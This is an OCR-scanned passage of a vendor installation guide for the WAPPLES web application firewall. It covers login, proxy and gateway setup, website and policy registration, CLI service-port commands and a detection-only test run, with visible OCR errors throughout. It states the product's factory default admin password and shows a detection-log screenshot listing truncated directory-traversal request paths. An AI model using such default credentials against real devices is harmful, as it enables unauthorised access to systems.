Clicking the orange [Start] button on the lower right side causes WAPPLES’s
management tool to start and a login window as in [Fig. I11-9. Starting the

WAPPLES Management Tool] to appear.
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WAPPLES login

WAPPLED

Copyright{c) 1997-2010 all Rights Reserved

o: | | | Ok ]

Password : | | [ Cancel |

[] Change password after login

Fig. 111-9. Starting the WAPPLES Management Tool

The WAPPLES administrator is classified as “operator” or “guest”; the
“operator” can use all functions of the management tool, whereas the “guest” can
only use the search functions such as the search of logs. The guest is managed by
the operator.

The operator’s ID is “admin,” and the initial password is “penta” (consists of 5
English characters). When you attempt access using the operator’s ID and
password, WAPPLES will prompt you to change the password to a safer one. The
new password must include 1 or more special characters and must have at least 6
characters.
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Change password

[Cchange ID [CJEdit information

Previous ID : |admin |

Set an address of e-mail that receives information
New ID @ | | when ‘DB FULL” is occurred.

E-mail address of receiver :

Change password

i | ‘ Set address of e-mail and SMTP that is used to
New password : send system information from WAPPLES.
Check password : | ‘ E-mail address of sender :
Password should be in English or Number, and
be harmony with more than one special SMTP address :
character. Length should be longer than 6
characters.
[ Confirm ] [ Cancel 1

Fig. 111-10. Changing the Administrator Password

Enter a safe password and click [OK]. The main screen of the management tool
will appear. This starts the management tool.

@ When you log in using the default password “penta,” and do not
change the password, the management tool will be terminated.
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ES Management Console E]

‘ Websites e
N W & e OB g 8 S—| AR
WAPPLES Add Tab Detectlon Log Dashboard  Audit Log Monitoring  Palicy Report Period ‘m View thaIe—V] Setting Wizard

? Recent 1 day. Whole 632 N |1/7 page v
Rule Name Source IP Country URT Destination Addr... Time Countermeasure Rlsk ~
Cross Site Scripting 192.168.3.156 ? (local) 192.168.3.153/bbs.php 192.168.3.153:80 9/14/2010 10:08:18 PM =& Detection ...
SQL Injection 192.168.3.156  ? (local) 192.168.3.153/duckfindex... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection ...
Stealth Commanding 192.168.3.156  ? (local) 192.168.3.153/msadc/....{.. 192.168.3.153:80 9/14/2010 10:08:18 PM =&+ Detection .
Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153{msadc/..../.. 192.168.3.153:80 9{14/2010 10:08:18 PM =& Detection ...
Stealth Commanding 192.168.3.156  ? (local) 192.168.3.153fscripts/. %... 192.168.3.153:80 9/14/2010 10:08:18 PM =5 Detection ...
Unicode Directory Trav... 192.168.3.156 ? (local) 192.168.3.153/scripts{..%... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection . il
Invalid URT 192.168.3.156 ? (local) 192.168.3.153{scripts/..%... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection .
Unicode Directory Trav... 192.168.3.156 ? f(local) 192.168.3.153fscripts/....f... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection ...
Stealth Commanding 192.168.3.156  ? (local) 192.168.3.153fscripts/..../... 192.168.3.153:80 9/14/2010 10:08:18 PM <& Detection ...
Unicode Directory Trav... 192,168.3.156  ? (local) 192.168.3.153fscriptsf....[... 192.168.3.153:80 9/14/2010 10:08:18 PM <& Detection ...
Stealth Commanding 192.168.3.156  ? (local) 192.168.3.153/scripts/....f... 192.168.3.153:80 9{14/2010 10:08:18 PM =& Detection ...
Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153/scripts/....[... 192.168.3.153:80 9{14/2010 10:08:18 PM =& Detection .
Stealth Commanding 192.168.3.156 ? (local) 192.168.3.153{a.asp/..%1... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection .
Unicode Directory Trav... 192.168.3.156 ? (local) 192.168.3.153{a.asp/..%1... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection .
Invalid URT 192.168.3.156 ? (local) 192.168.3.153fa.asp/f..%1... 192.168.3.153:80 9/14/2010 10:08:18 PM =57 Detection .
Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153fadsamples/... 192.168.3.153:80 9/14/2010 10:08:18 PM <& Detection ...
Unicode Directory Trav... 192.168.3.156  ? (local) 192.168.3.153fscriptsf....[... 192.168.3.153:80 9/14/2010 10:08:18 PM <& Detection ...

?

?

?

?

2

?

?

Unicode Directory Trav... 192,168.3.156 (local)  192.168.3.153/_vti_bin/ 192.168.3.153:80 =&+ Detection ...

Unicode Directory Trav... 192,168.3.156 (local)  192.168.3.153/msadc/.. 192.168.3.153:80 =&+ Detection ...

Unicode Directory Trav... 192.168.3.156 (local)  192.168.3.153/scripts/.. 192.168.3.153:80 =5 Detection .

Unicode Directory Trav... 192.168.3.156 (local) 192.168.3.153/scriptsf......... 192.168.3.153:80 =5 Detection .

Unicode Directory Trav... 192.168.3.156 (local) 192.168.3.153/fscripts......... 192.168.3.153:80 =5 Detection .

Unicode Directory Trav... 192.168.3.156 (local)  192.168.3.153/scripts/..%... 192.168.3.153:80 <5 Detection .

Invalid URI 192.168.3.156 (local)  192.168.3.153/scripts/..%... 192.168.3.153:80 9/14/2010 10:08:18 PM =5 Detection ... ™

Fig. I11-11. WAPPLES Management Tool Main Screen
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4. Service Setting
To enable the WAPPLES service, you need to configure the web server of the

website to be protected. Configure the web server of the website through the
Setting Wizard.

4.1 Network Setting

To enable the WAPPLES service, configure the WAPPLES service port. Use the
Setting Wizard to configure the WAPPLES service port.

Setting Wizard

Setting Wizard

Select an item for setting

© select an item far setting

Operation Settings & Network Settings |
Settings for audit, Settings for WAPPLES and

interworking and update network configuration

A

| Cancel < Back Mexts

Fig. 111-12. Select Network Setting
Click [Setting Wizard] on the upper right side of the main window of the

WAPPLES Management Tool to start the wizard. Select [Network Setting] and
click [Next].
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Setting Wizard

Network Setting
Select WAPPLES

© Please select a WAPPLES to configure.

| 192.168.3.155/24 (ID:WSE-1030025) v |

192,168.3.155/24 (ID: WSE-1030025)

[ Cancel ] [ < Back ][ Next> ]

Fig. 111-13. Select WAPPLES to be Configured

Select the WAPPLES to be configured and click [Continue]. If you have bound
two or more WAPPLES in a multiple structure, you can configure each
WAPPLES individually. If you are using only one WAPPLES as in most
environments, only one WAPPLES will appear.

If [Fig. I11-14. Proxy IP Setting] appears, enter the Proxy IP address and default
gateway to be used with WAPPLES?’s service port when configuring the server in
reverse proxy mode depending on the network configuration of WAPPLES.

Move to the next window without entering any value when operating in inline
mode only.

If there is a web server that uses the currently registered Proxy IP address, the

Proxy IP will be indicated in red as follows (to delete the Proxy IP in red, you
need to delete the web server that uses the Proxy IP first):
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Network Setting
Set PROXY IP

© Input IP and Netmask, and click "Add" button to add.
Click information on list to edit or delete setting.Inline mode does not need Proxy IP setting.

g Add
PROXY IP L |

S ——— Ecl [ Importsetting.. |
Netrnask
r — with [Import setting], network setting
|PROXY IP Netrask can be easily finished by loading saved

setting file by [Export setting] menu.
[Export setting] button is located at.
the last step of network setting
wizard, and exports setting
information as a file.

[ Cancel ] [ < Back ] [ next> |

Fig. 111-14. Proxy IP Setting
To set the Proxy IP, enter the Proxy IP and netmask and click [Add].

Several IP addresses can be entered depending on the need. Note, however, that
you should enter the IP addresses that exist in the same subnet since they will be
used by the same service port network device.

To modify the Proxy IP you added, select the corresponding IP, modify it, and
click [Edit].

To delete the Proxy IP you added, select the corresponding IP and click [Delete].

If you have a network setting saved to a file, click [Import Settings] to load the
setting from the file. You can save the network setting with [Export Setting],
which will be explained later.

Clicking [Next] when there are more than one proxy IPs causes the gateway
configuration window to appear as in [Fig. 23. Gateway Configuration]. Clicking
[Next] when the proxy IP is not registered causes the web server configuration
window as in [Fig. 25. Web Server Configuration] to appear.
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Network Setting
Additional gateway setting

© Type network information of additional gateway.

Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

Default gateway ’

|

Destination \ | [ Add |
Netmask ‘ ‘
Gateway ‘ ‘ Delete
Destination Netrnask Gateway

Fig. 111-15. Gateway Configuration

[ Cancel ] [ < Back ] [ Mext> |

The default gateway must also exist within the same subnet as the IP address and

netmask of the Proxy IP.

Enter the gateway address as in [Fig. 24. Default Gateway Configuration] and click

[Next] to configure the default gateway.
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Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

Network Setting
Additional gateway setting
© Type network information of additional gateway.

Default gateway ‘192-153-3<1|

Destination \ Add

MNetmask l
Gateway ‘ Delete

Destination Netmask Gateway

[ Cancel ] [ < Back ] [ Mext > ]

Fig. 111-16. Default Gateway Configuration

If you need to add another gateway in addition to the default gateway, enter the
Destination, Netmask, and gateway below the default gateway and click [Add] to
add another gateway.

Unlike the default gateway, you need to enter the Destination that indicates the
target network and Netmask values for the additional gateway. In case a separate
gateway is required in addition to the default gateway to communicate with the
network in a specific domain from WAPPLES’s service port Proxy IP, use the
Destination and Netmask values to indicate the network in the specific domain.
If you are configuring the gateway targeting the network in the 192.168.1.0/24
domain, Destination becomes 192.168.1.0, and Netmask, 255.255.255.0.

4.2 \Web Server Information

When you enter WAPPLES’s service port Proxy IP and gateway, you will be able
to add/modify/delete the web server IP address and port number as the subject of
the security service.
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Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

Network Setting
Web server setting

© Click addfedit/delete to continue wark.
If you click one of these buttons, proper work window will be opened

Weh server IP PROXY IP SSL Add...
192.168.3.153:80 Inline Mode X

[ Cancel ] [ < Back ] [ Next > ]

Fig. 111-17. Web Server Configuration

Click the [Add] button to add a web server. To operate the server in proxy mode,
map the IP address and port number of the web server you entered in the
WAPPLES Proxy IP address and port one to one. WAPPLES works as a type of
web security proxy such that access to the mapped Proxy IP and port of
WAPPLES will be connected to the IP and port of the designated web server.

Setting Wizard - (192.168.3.155/24 (ID:WSE-

1030025)) k
Add web server : ;

IP setting

© set network information for WAPPLES and web server as follows.

W

_ /Sl_gei'ver Port ; Host name: |
: B0 N

[ Web Server IP ; [] Check weh server status
eb A |

File to check: [
Time for waiting [5

\PROXY 1P : T reponse:

AL Lk NN
Inline Mode VJ ‘ Checking period: | |
| .»

|Port

WAPPLES |55 Disable v| Request Method :  GET

m
o

Fig. 111-18. Adding a Web Server in Proxy Mode
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When operating the server in inline mode, select “Inline Mode” for Proxy IP as in
[Fig. 27. Adding a Web Server in Inline Mode].

Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

Edit web server
IP setting

© set network information for WAPPLES and web server as follows.

Web 7 [192.168.3.153
/ Server Port . Host name:

80 . “ - S|

A u File to check: | |

Internet T

_ i Tirne for waiting [5 i

PROXY IP : [ reponse: E |

Irline Mode vJ A ‘_ Checking period: ﬁ|
Port : ( ) '

\VAPPI _:' Lsﬂolsa'i’iﬂ Request Method : | GET

& | wWebServer IP: | [ Check web server status

Fig. 111-19. Adding a Web Server in Inline Mode

If the IP and port number of the web server you entered use SSL communication,
you must register the related SSL certificate and secret key file using the [SSL]
button. Refer to the user manual for more detailed settings.

When traffic comes through the registered web server IP and port number,

WAPPLES will intercept the traffic. WAPPLES then detects and blocks
dangerous attacks in the traffic it intercepted to protect the web server.
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Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

> . >
, 4%

Edit web server

Confirm setting

€ To save following contents, click "Confirm" .

-1 Web server address : 192.168.3.153:80
7 WAPPLES proxy address : Inline Mode

71 Using S5L or not ¢ disabled

[ Cancel ] [ < Back J [ Confirm ]

Fig. 111-20. Web Server Configuration Completed

Clicking [Next] in [Fig. 26. Adding a Web Server in Proxy Mode] causes
WAPPLES to display web server information as in [Fig. 28. Web Server

Configuration Completed].

4.3 Completion of the Network Setting

This is the end of the WAPPLES network setting. The Network Configuration
Information window shows WAPPLES’s network configuration information as
follows (you can also export the network configuration information by clicking

[Export Setting]:
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Setting Wizard - (192.168.3.155/24 (ID:WSE-1030025))

Network Setting
Setting Complete

© To apply following setting, click 'Complete’ .

@ PROXYIP: 192,168.3.215
i Default gateway :
@ Additional gateway : Oitems.

@ Control web server : 192.168.3.153:80

Export setting...

[ Cancel ] [ < Back ] [Complete ]

Fig. 111-21. Network Configuration Information
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5. Adding a Website

5.1 Selecting Policies for the Website

Once network-related settings are completed, select the policies to be applied to

the websites to be protected.

Click [Policy] in the toolbar.

o

WAPPLED

Fig. 111-22. Select Policy

N

You will see the following website setting window:

[2) WAPPLES Management Console

Add Tab | Detection Log Dashboard  Audit Log  Monitoring

Policy

[ =]}

T lp o - =) Websites @ A
™\ W & e 8P g e £
waemm | AddTeb | Detectionlog Dashboard Audtlog Monitorng  Polcy  Report i L Setting Wizard
Set up policy and website.
© I you expand a polcy item, websites to use the policy are diplayed.
after selecting any pocy or website, the right button of mause, you can choose a configuration function for each item.
@ Listof Security Policies and Websites
# Policy Name 2. Basic Security Level
Batch setting
=@ 6. Allblock Rule name: Detection Countermeasure -
inregistered website Buffer Overflow 58 Custom setting & Detection only
5, Pe1:055 Secirky Lavel Cross Site Scripting £8 Custom setting <& Detection only
Rl Directory Listing Il Prevent drectory leskage &9 Error code
- T Error Handing 1 Block a5 1st level 5 Detection only
£ 1. Detection Only, No-block. Extension Filtering Il Only secure extension is all... <& Detection only
0. Allpass without detection File Upload 1 Prohiit fle upload =& Detection only
7% Demo Polcy Include Injection Do not detect =& Detection only
by Psn l‘:;‘(‘:’fify-m’ Input Content Fittering Do not detect <5 Detection only
- Tnvalid HTTP Block dangerous HTTP & Disconnection
Invalid URT Il Detect URI attack 5 Detection only
1P Fitering 1 Do not detect <& Detection only
Privacy File Fitering I Detect important personal i...  =5= Detection only
Privacy Input Fitering I Do not detect <& Detection only
Privacy Output Fitering 1/ Do not detect =& Detection only
Request Header Fitering 1 Do notdetect =& Detection only
Request Method Fitering Il Permit secure request only <5< Detection only
Response Header Fitering W Prevent server information |... <5 Detection only
QL Injection 11 Detect basic SQL Injection a... &9 Error code
Stealth Commanding Il Standard setting =5 Detection anly
Unicode Directory Traversal Il Standard setting 5 Detection only
URI Access Control 1 Do not detect =& Detection only )
= Rules excluded from batch seting
Rule name: Detection Countermeasure
Cookie Paisoning 1/ Do notdetect =5 Detection only
Parameter Tampering Il Do not detect <5 Detection only
Suspicious Access 1! Do not detect <& Detection only

Fig. 111-23. Policy Window

Report

The left side of the window shows a list of policies and the list of websites using
this policy. The right side of the window shows the details of the policy selected
on the left side.
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WAPPLES basically provides seven policies. These policies are provided by the
WAPPLES system, and they cannot be modified or deleted.

Table 6. Basic Policies

Policy Name

Description

[All-block]

This policy blocks all communications regardless of
the attack.

[PCI-DSS Security
Level]

Provides security level complying with PCI-DSS

[Advanced Security
Level]

As a high-security level policy, detects most of attacks
including rarely happening ones. except for ones
requiring detail custom settings.

[Standard  Security
Level]

As an one level higher than [Basic Security Level], the
most optimized policy for general web configuration.

[Basic Security As a policy that is capable of detecting basic attacks,
Level] detects generalized and famous attacks.

[Detection Only, Same detection setting with [Basic Security Level], but
No-block] do not conduct any countermeasure

[All-pass  without Passes communications of related websites as they are
detection] without inspecting whether they are attacks

The policies provided by default cannot be modified. The administrator is advised
to add additional policies. Click the [Add Policy] button on the main window for
site setting to add a policy.

Setting Wizard

Add Policy

Select basic policy

'Rule name
Cookie Poisoning|

Directory Listing

Basic policy | Demo Policy

Penta Security
Buffer Overflow |2 All-pass without detection
[ 1. Detection Only, No-block

2. Basic Security Level
Crass Site Scriptif3- Standard Security Level

4, Advanced Security Level

5. PCI-DSS Security Level

(> Select basic policy or open from policy file.

V| [ Open policy... ]

Countermeasure A
=& Detection only i
=% Detection only |
=& Detection only
=& Detection only

|Error Handling
Extension Filtering
|File Upload

=& Detection only
=== Detection only
=== Detection only v

I Block as 1st level
I Only secure extensi...
Il Prohibit file upload

Fig. 111-24. Selecting a Basic Policy
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A new policy is added based on the existing policy. Select the basic policy to
begin. If you have a policy saved to a file, click [Open Policy] to open the policy
file.

Setting Wizard

Add Policy

Select rule to set

© Select rule to set by checking in the checkbox in front of Following list.

Palicy name ;Copy of Penta Security ‘

Sel... Rule name Detection Countermeasure ~
[0 Buffer Overflow ==& Custom setting @ Detection only
[0 Cookie Paisoning Il Check falsification... =5 Detectiononly
[] Directary Listing Il Prevent directory .. % Detection only
[0 Error Handling I Block as 1st level =& Detection only
Extension Filtering Il Only secure exte... =5 Detection only
O File Upload Il Prohibit fle upload =5 Detection only ¥

[ Cancel ][ < Back ][ Next > ]

Fig. 111-25. Modifying the Contents of the New Policy
Check the detection rules among the detection settings and countermeasure

setting of the new policy that you want to modify and click [Next]. You can
modify the detection settings and countermeasure setting for each detection rule.
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Setting Wizard

Add Policy
Rule setting
( )
© Cross Site Scripting
=1 Detection 8 Do not permit script 1 Countermeasure 8 Error code
Do not permit Input including > :
script, ’
o }400 Bad Request v
[[] Customn Setting o Risk b 3
[ Cancel l [ < Back ] [ Next > ]

Fig. 111-26. Detection Settings and Countermeasure Setting of Each Rule
A new policy is added as a result.
In this chapter, register a website under the [Detection Only, No-block] option.

Refer to the user manual for details on how to use the policies established by the
administrator aside from policies that are basically provided.

5.2 Adding a Website
01 Adding a New Website

At [Fig. 111-23. Policy Window], click [Add Website] to add a new website.

[Website Name] has to match the DNS name in service; an already registered
name or the name of another website is not acceptable.
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Setting Wizard

o
Add Website ’ X ) ‘
‘! 009, s 149

Website Name b

© Enter host name and port, and description for using in management console.

Register sub-directory of website []

wWebsite Name {www.pentasecurity.com 1 Part Nurmber 80 |
Generaly 60

ax ) www.pentasecurity.com

wWebsite Description sr\}vww.pehfasecufirty.com

ax) Compary Homepage

Fig. 111-27. Registration of a New Website

The website name will be entered in [Website Description] if you do not specify
one.

The [Port Number] of the website is basically 80; if you are using another port,
however, enter the corresponding port number.

After entering the website’s name, port number, and description, click [Next] to
enter additional network connection information.

A red exclamation mark will appear if the information you provided is
unacceptable. Place the cursor on the exclamation mark to view the cause of error
in a balloon help.

The Setting Wizard will display the following error messages when there is an
error in the website name and description entered by the administrator:

Table 7. Error Messages in Website Setting 1

Error Message Cause
. The website name or description
Blank is not allowed. field is left blank.

Out of input range If the inputted port number is less
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Error Message Cause

than 0 or greater than 65535

02 Registering Additional Information for the Website

When using ISSAC-Web, Penta Security System’s web security solution, check
“Use ISSAC-Web.” Afterward, register the web server secret key file used by
ISSAC-Web using [Import secret key] and click [Next].

Setting Wizard

Add Website
Security Connection Setting

© Does website use following security connection?
Please enter secret key for checking encrypted cormmnunication.

[ Use ISSAC-Weh.

i [ Import secret key... ]

[ Cancel ] [ < Back ] [ Mext >

Fig. 111-28. Check “Use ISSAC-Web”

The Setting Wizard will display the following error messages in case the
administrator enters inappropriate values when using ISSAC-Web:

Table 8. Error M in Websi ing 2

Error Message Cause

The secret key is not entered, or the
secret key field is left blank.

The secret key cannot be read in text
file format.

Blank is not allowed.

Cannot read file

Fig. 111-28. Check “Use ISSAC-Web” causes [Fig. 75. Enter Reliable IP Zone] to
appear. To fill out [Reliable IP], enter one IP or IP/Netmask in each line.
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Setting Wizard

Add Website
Reliable 1P

© Reliable IP is used for Learning URI Access Control, can access to closed web page.
Please enter each websites administrator's IP and websites developer's IP in each line.

| 192.168/16 | ax) 192, 166.0.1 or 192, 166/16

[ Cancel ] [ < Back ] [ Next > ]

Fig. 111-29. Enter Reliable IP Zone

The Setting Wizard will display the following error messages in case the
administrator enters inappropriate reliable IP:

Table 9. Error Messages in Website Setting 3

Error Message Cause

Enter one IP in each line. Blank is not The blank line is included in the
acceptable. list of IPs entered.

The same IP is entered more than

There is duplicated IP once in the list.

Each IP in the IP list does not
{IP you entered} wrong IP. comply with the IP format and
netmask format.

If you are not using the URI Access Control rule, and you do not need to specify
private web pages, you do not need to specify [Reliable IP]. For details on the
URI Access Control rule, refer to the user manual.

[Reliable IP] is the information referred to by two functions.
The first of the two is the function that automatically generates the URI access
control list. When the IP registered to [Reliable IP] attempts to access the website,

it automatically learns the website’s URI and registers the corresponding URI to
[URI Access Control List].
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The other function is used to allow only the IP registered to [Reliable IP] when
the requested web page (URI) is registered as a private web page for the
administrator’s use in [URI Access Control List]. For details on the URI Access
Control List, refer to the user manual.

Enter the security key used for encrypting important information of the website.
The management tool automatically generates a key that lets you move to the
next step without making particular settings. To change the security key, you can
click [Change Security Key] to create a security key automatically. Once the key
is created, click [Next].

The security key is used within the WAPPLES system; it must be created by the
random number-generating algorithm so that it is sufficiently complicated.

If you suspect the disclosure of the contents of the key during website operation,
or if you need to change the key, click [Change Security Key] to create a new key.
This key is used for various encryptions and to secure integrity within WAPPLES.

@ Changing this key during operation changes all keys used by WAPPLES
and causes misdetection (erroneous detection).

Add Website

Web Server Security Key

© wehserver security key is used for encrypting security factars for detection in HTTP, HTML.
If the existing value changed, misdetection can be occurred for a while.

90R7 AAWaIQBERYOWOSLIPPbVCEE4bgT | [__Change secuity key |

[ Cancel ] [ < Back ] [ Next >

Fig. 111-30. Entering a Security Key

Configure whether the web server file system will be case-sensitive. Generally,
the Windows system is not case-sensitive, but the Unix system is.
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Setting Wizard

Add Website S0 0N A\
' oL

Web Server Environment L

© Following checking is needed for revision according to Webserver environment where
website saved when attack is detected.

Case-senstive in URL.

Generaly Windows Server does not distiguish.
Others almost aistinguist,

Encaoding Type : Windows-1252 <Western European (Widc\ws

[ Cancel 1 f < Back ] [ Next >

Fig. 111-31. Setting for Case-Sensitiveness

Enter aliases for the website. One website can have many names. WAPPLES uses
this information to determine which website to which access is currently being
attempted. Enter correctly and as many aliases used by website users to access the
website as possible. The best way to do this is to enter the aliases of the website
as they were specified in the web service program (IIS or Apache, etc.). If this
information is not specified or is incorrect, WAPPLES’s security policy can be
applied inappropriately, or it can cause problems in the normal use of web
services in serious cases. Even the alias in the IP address form such as
“192.168.0.99” has to be specified if it is in use.

The Setting Wizard will display the following error messages in case the aliases
of the website entered by the administrator are incorrect:

Table 10. Error Messages in Website Setting 4

Error Message Cause

You should enter one name each

line. You cannot enter the blanks. There is an empty line.

There is a duplicate website alias in

There is duplicated name. the provided list.

{{Name}}’ is already registered  rpo game alias has already been
website as another name of

{{Website name}}.’ registered.
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Setting Wizard

Add Website
Another name of Website
© website name can not be mare than 2.

For example, pentasecurity.com have another name like www . pentasecurity.com.
Please enter another name of website in each line. Leave Blank if it doesn't have,

Wehsite Name : j‘"\;vww.pentasecurity.com
Another name of Website : www, pentasecurity.co.kr
192.168.0.99

[ Cancel ] [ < Back ] [ Next = ]

Fig. 111-32. Entering Website Aliases

Select the policy to be used in the website among the policies registered recently.
Check the detailed contents of the policy and select the policy that suits the
direction of operating the website. For now, select [Detection Only, No-block]. To
change policies after adding websites, use [Modify Website] or drag and drop the
corresponding website from [Fig. 32. Policy Window] to the policy you want to
apply. For details on policy application, refer to the user manual.

Setting Wizard

Add Website
Select Policy

© Select Policy for detection and countermeasure in the Website.

Policy Mame 1. Detection Only, No-block
1. Detection Only, Mo-block ~

Rule name 2. Basic Security Level Ly — [measure &
Buffer Overflow 6. All-block tection only
c Site Scrinti 3. Standard Security Level ect |

1058 2lte Serating 4, Advanced Security Level ection only =
Directory Listing 5. PCI-DISS Security Level __[tection only

s Demo Policy :

Error Handling Penta Security + [fection only
Extension Filtering Only secure extensi... =5 Detection only
File Upload I Prohibit file upload =& Detection only
Include Injection I Do notdetect =5 Detection only
Thnit Content Filterinn [ | Nin nnt detert == Netertinn nnbe 2]

[ Cancel ] [ < Back ] [ Mext> |

Fig. 111-33. Selecting Policies to Apply to a Website
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Check the settings and click [Confirm] to finish.

Setting Wizard

Add Website
Check Setting
© cick '‘Complete’ to save following setting.
Website Name : wiwwy pentasecurity.com:8C
Use ISSAC-web or not : disabled
Case-sensitive or not : distinct
Reliable IP : 192,.168/16
Another name of Website 1itemns except www.pentasecurity.co.krf
Detection and Countermeasure Policy : 1. Detection Only, No-block
[ Cancel ] [ < Back ] [ confirm ]

Fig. 111-34. Result of Website Addition

Many websites are allowed. Register all websites to be managed under the
corresponding policies as described above.
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6. Service Port Setting

After completing the website settings using WAPPLES’s management tools, you
are ready to use WAPPLES’s security service. Connect the Ethernet cable to the
WAPPLES’s service port according to the WAPPLES’s network operation
location.

6.1 Adding, Deleting and Confirming the Service Port

01 Adding

You can register the service port by accessing CLI through [2.1. Connecting the
Management Port].

Enter the [enable] command in CLI to obtain authorization followed by the
[configure terminal] command to shift to configuration mode. You need to access
the network through the [network] command in configuration mode to execute
commands for the service port setting.

You can set the service port for the corresponding bridge interface after adding
the bridge interface in config-network mode.

To add a bridge interface, enter the [bridge-int] command followed by a question
mark (?) to view the list of values to be entered. Afterward, enter [bridge-int add
[bridge interface name]] to add a bridge interface as follows:

penta-np# configure terminal
penta-np(config)# network
penta-np(config-network)# bridge-int ?

add add bridge interface

del del bridge interface
penta-np(config-network)# bridge-int add br0
OK.

To add a service port, enter the [bridge] command followed by space and
question mark (?) to view the list of values to be entered. Afterward, enter [bridge
add [bridge interface name] [device name]] to add the service port.

penta-np# con t
penta-np(config)# network
penta-np(config-network)# bridge ?

add add bridge NIC

del delete bridge devicename
penta-np(config-network)# bridge add br0 tp0
OK.
penta-np(config-network)# bridge add br0 tpl
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02 Deletion

OK.

Enter the [bridge del [bridge interface name] [device hame]] command in config-
network mode to delete the corresponding service port. Entering the command
causes the system to display “OK” as follows and delete the corresponding
service port:

penta-np(config-network)# bridge del br0 tp0
OK.

Enter the [bridge-int del [bridge interface name]] command in config-network
mode to delete the corresponding bridge interface. Entering the command causes
the system to display “OK” as follows and delete the corresponding bridge
interface (this will delete all service ports registered to the corresponding bridge
interface):

penta-np(config-network)# bridge-int del br0
OK.

03 Confirming

To confirm the registered service port, enter [show bridge] or [sh bridge] as
follows:

penta-np(config-network)# show bridge

Bridge Nic Info
br0 tp0
br0 tpl

CLI displays the following error message in case the administrator enters
incorrect values when configuring the service port settings:

Table 11. Service Port Connection and Registration Error Message

Error Message Cause

% Command incomplete The command is incorrect.

Invalid value
(An incorrect value is indicated with
“~” below.)

% Invalid input detected in the
position marked with “*”
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7. Installation Inspection

After connecting all cables, check whether all web services and security services
are provided normally. Depending on the environment, the web service may not
be operating normally for up to 30 seconds. Check if the website can be accessed
without any problem through a web browser from a user’s PC.

Select “Dashboard” from the upper toolbar of WAPPLES’s management tool
followed by “Recent 5 Minutes” and “Traffic” from the filters on the upper right
side of the window to check whether the graph represents normal increase and
decrease in traffic.

If the service port gateway setting is not configured correctly, the normal web
service will be available inside, but the web server will appear to be not
responding from the Internet outside. Thus, you need to take the necessary
cautions. The web service must be provided in the internal and external networks.

Congratulations! You have completed the installation of WAPPLES.
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8. Test Run

(D If test-running WAPPLES after installation is impossible due to your
circumstances, or if you experience difficulties understanding the security
policy or need help in correcting wrong security policy, request for
technical support to receive consulting on security policy from the
technical support agents of the main office or partners.

It is very difficult to configure the detection rules even after fully understanding
the contents of the web services of the website to be protected as well as how
each of the detection rules works in advance. As such, you can always experience
configuration errors no matter how well you considered the environment in
configuring the product. We recommend that you take a certain period of time
test-running the product with no intrusions blocking to find such errors without
any problem when providing web services.

Set WAPPLES to create logs on each intrusion without blocking the traffic during
the test run period to eliminate web service problems due to configuration. Go
through the process of selecting policies appropriate for WAPPLES based on
detection logs created during the test run and enabling detection modes to provide
more reliable, stable security service.

f% WAPPLES Management Console - |
- a 1p B @ . | @ :I Websites | @ 3R
Eal i ® g & AKX
waRPLEY Add Tab | Detection Log Dashboard  Audit Log Monitaring  Policy. Report Period - M=) Setting Wizard
-~
[ Add Policy... ] [ Add Website. .. ] )
Batch setting 2. Basic Security Level
[@ @ 6. alblock |Rule name Detection Countermeasure |
1 Unregistered website Buffer Overflow =& Custom setting =& Detection only
{ 5. PCI-DSS Security Level Cross Site Scripting “52 Custom setting =5+ Detection only
B4 s enced Securky Level Directary Listing Il Prevent drectory leskage &% Eror code
@ 3. Standard Security Level =
8 2. Basic Securky Level Error Handling I Block as 1st level &= Detection only
@@ 1. Detection Only, No-block Extension Filtering Il Only secure extension is ... =& Detection only
 wwww,pentasecurity . com/ File Upload I Prohibit file upload =& Detection only
& 0. All-pass without detection Include Injection I Donotdetect =& Detection only
o= Pn“( Tonths Input Content Filtering 1/ Do notdetect =55 Detection only ‘
192,168.3.153/ Invalid HTTP Il Block dangerous HTTP &i{i Disconnection -
Invalid URT I Detect URI attack 5= Detection only
IP Filtering I Donotdetect =& Detection only
Privacy File Filtering ] Detect important person... =& Detection anly
Privacy Input Filtering 1! Donotdetect =& Detection only
Privacy Output Filtering I Donotdetect =& Detection only
Request Header Filtering I Do notdetect =& Detection only v
Rules excluded from batch setling
Rule name Detection Countermeasure
Cookie Paisoning I Do not detect 5= Detection only
I} Parameter Tampering I Donotdetect == Detection only
Suspicious Access 11! Do not detect =& Detection only

Fig. 111-35. Policy for Test Run
During the test run from the first day after installation to a week later, run the

website to be protected with the [Detection Only, No-block] policy as in [Fig. 44.
Policy for Test Run].
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After the test run period, analyze the detection logs, determine the rules to be
applied, countermeasures to be activated for each rule, and exceptions to be made
depending on the circumstances of the website and add custom settings to start
the security service.

Configure the detection rules within each policy depending on the target security
level and characteristics of the pages in the service.

@ For some detection rules such as Response Header Filtering, Suspicious
Access, and Privacy Output Filtering, WAPPLES can modify the contents
of the page or block the page regardless of the rule settings when they are
set to “No Detection.” Thus, you need to take cautions when determining
the mode.

8.1 Detection Rule Exceptions

Use the exception option when you do not wish to apply the rule to some web
pages or IP addresses.

The most frequently occurring case of exception is the exception for Suspicious
Access. This rule inspects whether the web browser accessing the web service is
normal and refuses access if any trouble is detected. Most web pages do not have
a problem with this rule, but there are cases wherein parts of the attached files
such as images are kept in the web server when sending the email. In this case,
the email program can be blocked by WAPPLES since it is not a web browser,
and the contents of the email may not be displayed completely. Most of the time,
the page used for email is limited; you will be able to view the full contents by
registering this part as an exception.

To register exceptions, go through the Setting Wizard as follows:

[Policy] = [Right-click the website to be configured] - [Register Website
Exceptions] = [Finish]

Register exceptions in [Fig. 45. Registration of Exceptions for Detection Rules

(1)]. The number in the Setting column indicates the number of URLS registered
as exceptions for each rule.
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Setting Wizard - (www.pentasecurity.com)

Website Detect Exception Setting
Select Rule

© select Detection-excepted Object in Following Items.

Rule Narne Setting
